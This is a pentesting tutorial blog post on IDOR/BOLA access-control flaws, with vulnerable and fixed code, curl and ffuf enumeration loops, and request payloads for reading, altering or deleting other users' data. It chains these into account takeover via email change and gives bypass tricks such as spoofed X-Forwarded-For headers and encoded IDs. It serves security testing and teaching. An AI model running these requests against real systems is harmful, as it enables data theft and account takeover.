web hacking

IDOR: What It Is, How to Find It, and How to Use It — A Complete Guide

IDOR: What It Is, How to Find It, and How to Use It — A Complete Guide

IDOR (Insecure Direct Object Reference) explained from a pentester's perspective: how to identify it, how to enumerate it, and how to scale it to account takeovers and data breaches. With real-world examples and a practical checklist.

  • Posted on 2026-06-05
  • Reading time: 7 min

IDOR: The Web's Most Underrated Vulnerability — A Complete Guide #

IDOR (Insecure Direct Object Reference) is one of the most common vulnerabilities in bug bounties and pentests on web applications. The concept is simple: the application uses a direct identifier (numeric ID, UUID, file name) to access a resource, and doesn't check whether the user making the request has permission to access that specific resource.

Result: You change a number in the URL or a JSON parameter, and you read someone else's data. Or you modify it. Or you delete it.

IDOR falls under the Broken Access Control category (OWASP A01:2021)—the most widespread vulnerability in modern web applications. In REST APIs, it's also called BOLA (Broken Object Level Authorization). The name changes, but the problem remains the same: no authorization control at the individual object level.

See also: auth-access-control-complete-guide , broken-access-control , account-takeover.


How it works #

Imagine an e-commerce application. You've placed order #1042. To view it, go to:

text
GET /orders/1042
Cookie: session=TUO_TOKEN

The application receives the request, reads the session token, retrieves order number 1042 from the database, and displays it to you. So far, everything is fine.

The problem is what happens when you do:

text
GET /orders/1041
Cookie: session=TUO_TOKEN

If the app responds with data from Order 1041—which belongs to another user—without verifying that you have the right to view it, there's an IDOR. You've changed a number. You've accessed someone else's data.

The bad logic in the backend looks like this:

python
# VULNERABILE: controlla solo che l'utente sia autenticato
@app.route('/orders/<int:order_id>')
@login_required
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
    return jsonify(order)

# CORRETTO: controlla che l'ordine appartenga all'utente autenticato
@app.route('/orders/<int:order_id>')
@login_required
def get_order(order_id):
    order = db.query(
        "SELECT * FROM orders WHERE id = ? AND user_id = ?",
        order_id, current_user.id
    )
    if not order:
        abort(403)
    return jsonify(order)

The difference is just one SQL condition. The application checked authentication (are you logged in?) but not authorization (is this object yours?).


Where to Look for IDOR #

IDOR can be placed anywhere there's a direct reference to an object. In practice, the most productive places are:

URL path:

text
/users/4521/profile
/invoices/8834/download
/documents/contracts/2024-final.pdf
/api/v1/tickets/9901

Query strings:

text
/dashboard?account_id=4521
/export?report_id=112
/share?file=backup_2024.zip

POST/PUT request body (JSON or form):

json
{"order_id": 1042, "action": "cancel"}
{"recipient_id": 4521, "amount": 50}
{"document": "invoice_8834.pdf"}

HTTP Header:

text
X-User-ID: 4521
X-Account: premium_user_99

Cookies:

text
user_id=4521; role=user
account=4521

Indirect references in REST API:

text
GET /api/messages/thread/5512
GET /api/files/download/abcd1234
PUT /api/users/me/settings   ← "me" è un alias — verifica se /api/users/4521/settings funziona uguale

How to Find IDOR: Methodology #

Step 1 — Identify the Identifiers #

Navigate the application normally with Burp Suite intercept enabled. Look for all places where numeric IDs, UUIDs, hashes, and file names appear—in URLs, body, headers, and cookies. Record each endpoint accessing a resource by ID.

bash
# Con Burp: usa il Logger o il Proxy History
# Filtra per parametri che contengono numeri o ID
# Cerca pattern tipo: id=, _id=, user=, account=, order=, doc=, file=

# Con grep su un export di Burp:
grep -iE "(\?|&)(id|user_id|account|order|doc|file)=" burp_export.txt

Step 2 — Create Two Test Accounts #

This is the basic requirement: you must have two separate accounts (Account A and Account B) to verify whether you can access B's resources using A's credentials.

text
Account A: user_a@test.com / password_a  → user_id = 4521
Account B: user_b@test.com / password_b  → user_id = 4522

Create content with Account B (order, document, message). Then, authenticated as Account A, access the ID of that item.

Step 3 — Test Cross-Account Login #

Using Account A's cookies/tokens, try accessing Account B's resources:

bash
# Autenticato come A (user_id=4521), accedo all'ordine di B
curl -s "https://target.com/api/orders/1041" \
  -H "Cookie: session=SESSION_DI_A" | python3 -m json.tool

# Se risponde con i dati dell'ordine di B → IDOR confermato

# Test su endpoint di modifica (più grave)
curl -s -X PUT "https://target.com/api/users/4522/email" \
  -H "Cookie: session=SESSION_DI_A" \
  -H "Content-Type: application/json" \
  -d '{"email":"hacker@evil.com"}'
# Se risponde 200 → IDOR write → account takeover su B

Step 4 — Enumerate with Automation #

Once the IDOR is confirmed on read, estimate the actual impact by enumerating a range of IDs:

bash
# Enumerazione di base con curl + bash
for i in $(seq 1000 1100); do
  HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://target.com/api/orders/$i" \
    -H "Cookie: session=SESSION_DI_A")
  if [ "$HTTP_CODE" == "200" ]; then
    echo "TROVATO: /api/orders/$i → 200"
  fi
done

# Con ffuf — più veloce su range grandi
ffuf -u "https://target.com/api/orders/FUZZ" \
  -H "Cookie: session=SESSION_DI_A" \
  -w <(seq 1 10000) \
  -mc 200 \
  -o idor_results.json
bash
# Con Burp Intruder:
# 1. Manda la request al Intruder
# 2. Marca l'ID come payload position (§1042§)
# 3. Payload type: Numbers, range 1-10000
# 4. Filtra per status 200 e lunghezza risposta variabile

For a professional pentest: Enumerate enough IDs to demonstrate impact, do not do a complete database dump.


IDOR Types and Impact #

IDOR in Reading (Read) #

Access other users' data. The impact depends on what the object exposes.

bash
# Dati personali (PII) → GDPR violation + High
GET /api/users/4522/profile
# Response: {"name": "Mario Rossi", "email": "mario@...", "phone": "+39...", "address": "..."}

# Documenti riservati → High/Critical
GET /documents/invoice_2024_cliente_enterprise.pdf
Cookie: session=SESSION_DI_A
# Response: fattura di un altro cliente con dati finanziari

# Messaggi privati → High
GET /api/messages/thread/5512
# Response: conversazione privata tra altri utenti

IDOR in Writing (Write) #

You modify other people's items. This often leads directly to account takeovers.

bash
# Modifica email di un altro utente → account takeover
PUT /api/users/4522/email
Cookie: session=SESSION_DI_A
{"email": "attacker@evil.com"}
# Poi: "Forgot password" sull'account 4522 → email arriva all'attaccante → ATO

# Modifica password direttamente
PUT /api/users/4522/password
{"password": "newpassword123"}

# Cambio ruolo → privilege escalation
PUT /api/users/4521/role
{"role": "admin"}
# Elevazione di 4521 (Account A) a admin

IDOR in Deletion (Delete) #

You delete other people's objects.

bash
DELETE /api/posts/8834
Cookie: session=SESSION_DI_A
# Cancella il post di un altro utente

DELETE /api/accounts/4522
# Cancella l'account di un altro utente

IDOR on Functions (Function-Level) #

Not on data but on actions that require specific permissions.

bash
POST /api/admin/users/4522/ban
Cookie: session=SESSION_DI_A   ← utente normale
# Se risponde 200 → l'endpoint non controlla che tu sia admin

POST /api/payments/refund
{"order_id": 1041, "amount": 500}
Cookie: session=SESSION_DI_A
# Rimborso su un ordine non tuo

IDOR with Non-Sequential IDs #

Many applications use UUIDs or hashes to "hide" IDs. This isn't a mitigation; it's security through obscurity. If you obtain the UUID through any other means (listing API, share link, email), the problem still exists.

bash
# UUID in URL
GET /api/documents/3f7a9b2e-1c4d-4e8f-a912-b3c7d8e9f0a1
# Se questo UUID appartiene a un altro utente e puoi accederci → IDOR

# Come trovi UUID altrui?
# 1. L'applicazione li espone in API di listing
GET /api/users       → lista tutti gli utenti con UUID
GET /api/documents   → lista documenti con UUID inclusi quelli altrui

# 2. Share link che contengono UUID
# "Condividi documento" → link con UUID nel parametro → lo usi con un altro account

# 3. Referral/invite link
# "Invita un amico" → link con UUID dell'invitante → recuperi UUID di altri utenti

IDOR in REST APIs (BOLA) #

In modern APIs, the pattern is identical, but the parameters are often in the JSON body. Burp Suite doesn't display them in the URL—you have to look at the request body.

bash
# Endpoint per aggiornare profilo
PATCH /api/v1/profile
Authorization: Bearer TOKEN_DI_A
Content-Type: application/json
{
  "user_id": 4522,     ← prova a cambiare questo
  "bio": "hacked"
}

# Endpoint per trasferimento fondi
POST /api/v1/transfer
Authorization: Bearer TOKEN_DI_A
{
  "from_account": 4521,
  "to_account": 9999,
  "amount": 100
}
# Prova: from_account: 4522 → prelevi dall'account di qualcun altro

# Endpoint con ID nell'header
GET /api/v1/invoices
Authorization: Bearer TOKEN_DI_A
X-Account-ID: 4522    ← header che sovrascrive l'account target

IDOR Indirect #

Sometimes the ID isn't explicit. The application uses an indirect reference (file name, slug, hash) that maps to an object in the database. The problem is the same.

bash
# Nome file nel parametro download
GET /download?file=report_q3_2024.xlsx
# Prova: file=report_q3_2023.xlsx, file=../report_confidenziale.xlsx
# Se restituisce file di altri utenti → IDOR su file system

# Hash MD5 di un ID
GET /api/export?token=d41d8cd98f00b204e9800998ecf8427e
# L'hash è MD5 di "0" → prova MD5 di 1, 2, 3...
echo -n "1" | md5sum   # c4ca4238a0b923820dcc509a6f75849b
GET /api/export?token=c4ca4238a0b923820dcc509a6f75849b

# Slug "indovinabile"
GET /invoice/mario-rossi-2024-03
# Prova: /invoice/giuseppe-bianchi-2024-03

Escalation: From IDOR to Account Takeover #

The most direct path is via email change:

text
1. Trova IDOR write su /api/users/{id}/email
2. Cambia l'email dell'account target con la tua
3. Vai su "Forgot password" con la nuova email
4. Ricevi il link di reset sulla tua casella
5. Imposta nuova password
6. Accedi all'account target → Account Takeover

Or via token theft:

text
1. Trova IDOR read su /api/users/{id}/tokens o /api/sessions/{id}
2. Leggi il token di sessione attivo dell'utente target
3. Usa quel token per autenticarti come target → Account Takeover immediato

See: account-takeover , password-reset-attack.


IDOR vs. Broken Access Control: The Difference #

IDOR is a subcategory of Broken Access Control. The practical distinction:

  • IDOR: Unauthorized access to a specific object via ID/direct reference. Horizontal (same role, other people's object).
  • Broken Access Control vertical: access to features reserved for higher roles (user accessing admin endpoint).
  • Broken Access Control on path: access to improperly protected paths (directory traversal, forgotten endpoints).

In the bug bounty, IDOR reports are typically classified as P2 (High) if they expose PII or allow writes, P1 (Critical) if they lead to account takeovers or mass data breaches.


Bypass Common Protections #

Some applications implement partial protections. Let's see how to get around them.

Control only the GET method, not the POST/PUT:

bash
# GET respinge
GET /api/users/4522 → 403

# Ma PUT accetta
PUT /api/users/4522
{"email": "attacker@evil.com"} → 200

Control bypassable with additional headers:

bash
# Request normale → 403
GET /api/admin/users/4522

# Con header che simula accesso interno
GET /api/admin/users/4522
X-Forwarded-For: 127.0.0.1
X-Internal: true
→ 200?

ID encoding:

bash
# ID numerico → 403
GET /api/orders/1041

# ID encodato → accettato?
GET /api/orders/MTA0MQ==     # base64 di "1041"
GET /api/orders/%31%30%34%31  # URL encoding di "1041"

Change content type:

bash
# JSON → 403
POST /api/users/4522/update
Content-Type: application/json
{"email":"attacker@evil.com"}

# Form data → accettato?
POST /api/users/4522/update
Content-Type: application/x-www-form-urlencoded
email=attacker%40evil.com

Wrap ID in array or object:

bash
# ID singolo → 403
{"user_id": 4522}

# Array → accettato?
{"user_id": [4522]}
{"user_id": {"id": 4522}}

Checklist #

text
SETUP
☐ Due account di test creati (A e B)
☐ Burp Suite attivo con intercept
☐ IDs di A e B annotati (user_id, account_id, ecc.)

DISCOVERY
☐ Tutti gli endpoint con ID identificati (URL, body, header, cookie)
☐ Tipi di ID: numerico, UUID, hash, nome file, slug
☐ Endpoint CRUD mappati (GET, POST, PUT, PATCH, DELETE)

TEST BASE
☐ GET su risorse di B con sessione di A → 200 o 403?
☐ PUT/PATCH su risorse di B con sessione di A → 200 o 403?
☐ DELETE su risorse di B con sessione di A → 200 o 403?
☐ Azioni funzionali (ban, refund, export) su oggetti di B?

TEST AVANZATO
☐ UUID/hash: ottenuto da listing o share link? Testato cross-account?
☐ ID in JSON body testato (non solo in URL)
☐ ID in header testato (X-Account-ID, X-User-ID)
☐ ID in cookie testato
☐ Bypass: encoding, array wrap, content type change, header interni

ESCALATION
☐ IDOR write su email → chain a password reset → ATO?
☐ IDOR read su token di sessione → ATO diretto?
☐ IDOR su ruolo → privilege escalation verticale?

IMPATTO
☐ Dati esposti: PII, finanziari, medici, credenziali?
☐ Numero di record accessibili (range di ID validi)?
☐ Impatto stimato: utenti colpibili × tipo di dato

FAQ #

What's the difference between IDOR and BOLA? Same concept, different name for different contexts. IDOR is the classic term for traditional web applications. BOLA (Broken Object Level Authorization) is the term used in REST APIs and in the OWASP API Security Top 10 context.

Is IDOR with UUID less serious? No. UUID isn't a mitigation—it makes brute-force discovery more difficult. However, if the UUID is obtainable through other means (listing, shared links, email), the problem is the same. The real mitigation is server-side authorization checking.

How do you distinguish IDOR from intentional behavior? If the application intends to provide public access to that resource, it's not IDOR. The test is: does the application have a concept of "ownership" of that resource? If so, verify that it controls it. If the cross-account access is unintentional, it's IDOR.

Can I test IDOR without two accounts? In some cases. If your application exposes IDs in response to API calls (e.g., user list), you can use them to test login even with just one account. However, the test is much more robust with two accounts.

How severe do I assign to a report?

  • Read on non-sensitive data (e.g. order count) → Low/Medium
  • Read about PII (name, email, phone, address) → High
  • Read about financial or medical data → High/Critical
  • Write on other people's data → High
  • Chain IDOR → Account Takeover → Critical

Unauthorized access to your users' data, changes to other people's accounts, silent data breaches: IDOR is often the vulnerability that causes the most damage with the least noise. HackIta Penetration Test . 1:1 Training.

#insecure direct object reference #BOLA #broken access control

leave a message

I'm not a robot